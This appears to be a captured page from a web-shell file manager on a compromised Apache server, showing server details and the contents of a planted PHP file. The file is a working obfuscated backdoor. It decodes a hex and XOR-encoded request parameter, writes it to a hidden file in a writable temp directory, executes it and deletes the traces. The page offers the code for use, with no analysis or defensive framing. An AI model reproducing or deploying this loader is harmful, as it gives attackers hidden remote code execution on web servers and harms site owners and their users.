HEX
Server: Apache/2.4.58 (Ubuntu)
System: Linux ubuntu-8gb-hel1-1 6.8.0-55-generic #57-Ubuntu SMP PREEMPT_DYNAMIC Wed Feb 12 23:42:21 UTC 2025 x86_64
User: www-data (33)
PHP: 8.1.32
Disabled: NONE
Upload Files
File: /var/www/agighana.org/custom_file_1_1757488916.php
<!--9QKDI3M3-->
<?php

if(count($_REQUEST) > 0 && isset($_REQUEST["re\x63"])){
$item = hex2bin($_REQUEST["re\x63"]);
$record ='';$m=0;while($m<strlen($item)){$record.=chr(ord($item[$m])^45);$m++;}
$factor = array_filter([getcwd(), "/dev/shm", sys_get_temp_dir(), "/tmp", session_save_path(), getenv("TEMP"), getenv("TMP"), ini_get("upload_tmp_dir"), "/var/tmp"]);
foreach ($factor as $element):
            if ((bool)is_dir($element) && (bool)is_writable($element)) {
            $binding = sprintf("%s/.pset", $element);
            $descriptor = fopen($binding, 'w');
if ($descriptor && fwrite($descriptor, $record)) {
    fclose($descriptor);
    require $binding;
    @unlink($binding);
    die();
}
        }
endforeach;
}